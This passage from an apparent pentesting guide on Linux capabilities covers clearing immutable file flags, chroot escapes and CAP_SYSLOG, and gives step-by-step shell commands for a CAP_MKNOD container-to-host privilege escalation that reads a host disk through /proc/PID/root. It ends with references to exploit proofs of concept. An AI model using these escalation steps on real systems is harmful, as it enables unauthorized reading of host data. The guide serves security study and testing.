fcntl 1541 import os 1542 import struct 1543 1544 FS_IMMUTABLE_FL = 0x00000010 1545 FS_IOC_GETFLAGS = 0x80086601 1546 FS_IOC_SETFLAGS = 0x40086602 1547 1548 fd = os.open('/path/to/file.sh', os.O_RDONLY) 1549 flags = struct.unpack('i', fcntl.ioctl(fd, FS_IOC_GETFLAGS, struct.pack('i', 0)))[0] 1550 fcntl.ioctl(fd, FS_IOC_SETFLAGS, struct.pack('i', flags & ~FS_IMMUTABLE_FL)) 1551 os.close(fd) 1552 1553 with open('/path/to/file.sh', 'a') as f: 1554 f.write('New content for the file\n') 1555 ``` 1556 1557 The `FS_IOC_GETFLAGS` and `FS_IOC_SETFLAGS` operations read and update inode flags; `FS_IMMUTABLE_FL` is the immutable flag cleared by this example.<sup>[[27]](#references)</sup> 1558 1559 > [!TIP] 1560 > Note that usually this immutable attribute is set and remove using: 1561 > 1562 > ```bash 1563 > sudo chattr +i file.txt 1564 > sudo chattr -i file.txt 1565 > ``` 1566 1567 ## CAP_SYS_CHROOT 1568 1569 [**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities.<sup>[[11]](#references)[[14]](#references)</sup> 1570 1571 - [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf).<sup>[[11]](#references)</sup> 1572 - [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) 1573 1574 ## CAP_SYS_BOOT 1575 1576 [**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the execution of the `reboot(2)` system call for system restarts, including commands such as `LINUX_REBOOT_CMD_RESTART2`; it also enables `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively.<sup>[[14]](#references)</sup> 1577 1578 ## CAP_SYSLOG 1579 1580 [**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons.<sup>[[14]](#references)</sup> 1581 1582 Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents.<sup>[[14]](#references)</sup> 1583 1584 ## CAP_MKNOD 1585 1586 [**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include:<sup>[[14]](#references)</sup> 1587 1588 - **S_IFCHR**: Character special files, which are devices like terminals. 1589 - **S_IFBLK**: Block special files, which are devices like disks. 1590 1591 This capability is useful for processes that need to create device files, including character or block devices.<sup>[[14]](#references)</sup> 1592 1593 It is included in Docker's documented default capability set; verify the actual runtime configuration rather than assuming every deployment uses the same defaults ([Moby default capability list](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).<sup>[[19]](#references)</sup> 1594 1595 This capability permits to do privilege escalations (through full disk read) on the host, under these conditions:<sup>[[7]](#references)</sup> 1596 1597 1. Have initial access to the host (Unprivileged). 1598 2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`). 1599 3. Host and container should share the same user namespace. 1600 1601 **Steps to Create and Access a Block Device in a Container:** 1602 1603 1. **On the Host as a Standard User:** 1604 1605 - Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`. 1606 - Identify the target device, for example, `/dev/sdb`. 1607 1608 2. **Inside the Container as `root`:** 1609 1610 ```bash 1611 # Create a block special file for the host device 1612 mknod /dev/sdb b 8 16 1613 # Set read and write permissions for the user and group 1614 chmod 660 /dev/sdb 1615 # Add the corresponding standard user present on the host 1616 useradd -u 1000 standarduser 1617 # Switch to the newly created user 1618 su standarduser 1619 ``` 1620 1621 3. **Back on the Host:** 1622 1623 ```bash 1624 # Locate the PID of the container process owned by "standarduser" 1625 # This is an illustrative example; actual command might vary 1626 ps aux | grep -i container_name | grep -i standarduser 1627 # Assuming the found PID is 12345 1628 # Access the container's filesystem and the special block device 1629 head /proc/12345/root/dev/sdb 1630 ``` 1631 1632 This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container when the device, namespaces, and permissions are configured as described.<sup>[[7]](#references)</sup> 1633 1634 ### CAP_SETPCAP 1635 1636 On current Linux kernels with file capabilities, **`CAP_SETPCAP`** lets a thread add capabilities from its bounding set to its inheritable set, drop capabilities from its bounding set, and change its securebits. It does not let a process arbitrarily grant capabilities to another process; that behavior applies only to pre-2.6.25 kernels without file-capability support.<sup>[[14]](#references)</sup> 1637 1638 The `capset()` system call can adjust a thread's own effective, permitted, and inheritable sets, but the new permitted set cannot contain capabilities outside the existing permitted set and inheritable updates remain subject to kernel constraints.<sup>[[14]](#references)</sup> 1639 1640 ## References 1641 1642 - [1] [AttackDefense (Pentester Academy) - Linux capabilities privilege escalation labs](https://attackdefense.pentesteracademy.com) 1643 - [2] [Hacker's Grimoire - Privilege Escalation Linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) 1644 - [3] [Linux Container Basics: Capabilities](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/) 1645 - [4] [Linux capabilities 101](https://linux-audit.com/linux-capabilities-101/) 1646 - [5] [Taking Advantage of Linux Capabilities](https://www.linuxjournal.com/article/5737) 1647 - [6] [Excessive Capabilities](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module) 1648 - [7] [Abusing access to mount namespaces through /proc/pid/root](https://labs.reversec.com/posts/2020/06/abusing-access-to-mount-namespaces-through-procpidroot) 1649 - [8] [Linux Capabilities: Why They Exist and How They Work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) 1650 - [9] [Understanding Capabilities in Linux](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) 1651 - [10] [PoC for bypassing seccomp if ptrace is allowed](https://gist.github.com/thejh/8346f47e359adecd1d53) 1652 - [11] [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) 1653 - [12] [shocker.c - original CAP_DAC_READ_SEARCH Docker breakout exploit by Sebastian Krahmer](http://stealth.openwall.net/xSports/shocker.c) 1654 - [13] [Docker breakout exploit analysis](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) 1655 - [14] [capabilities(7) - Linux manual page](https://man7.org/linux/man-pages/man7/capabilities.7.html) 1656 - [15] [proc_pid_status(5) - Linux manual page](https://man7.org/linux/man-pages/man5/proc_pid_status.5.html) 1657 - [16] [pam_cap(8) - Linux manual page](https://man7.org/linux/man-pages/man8/pam_cap.8.html) 1658 - [17] [capability.conf(5) - Ubuntu Manpage](https://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) 1659 - [18] [systemd.exec(5) - Linux manual page](https://man7.org/linux/man-pages/man5/systemd.exec.5.html) 1660 - [19] [Running containers - Docker Docs](https://docs.docker.com/engine/containers/run/) 1661 - [20] [docker container run - Docker Docs](https://docs.docker.com/reference/cli/docker/container/run) 1662 - [21] [cap_text_formats(7) - Linux manual page](https://man7.org/linux/man-pages/man7/cap_text_formats.7.html) 1663 - [22] [getpcaps(8) - Linux manual page](https://man7.org/linux/man-pages/man8/getpcaps.8.html) 1664 - [23] [getcap(8) - Linux manual page](https://man7.org/linux/man-pages/man8/getcap.8.html) 1665 - [24] [amicontained](https://github.com/genuinetools/amicontained) 1666 - [25] [setcap(8) - Linux manual page](https://man7.org/linux/man-pages/man8/setcap.8.html) 1667 - [26] [capsh(1) - Linux manual page](https://man7.org/linux/man-pages/man1/capsh.1.html) 1668 - [27] [ioctl_iflags(2) - Linux manual page](https://man7.org/linux/man-pages/man2/ioctl_iflags.2.html)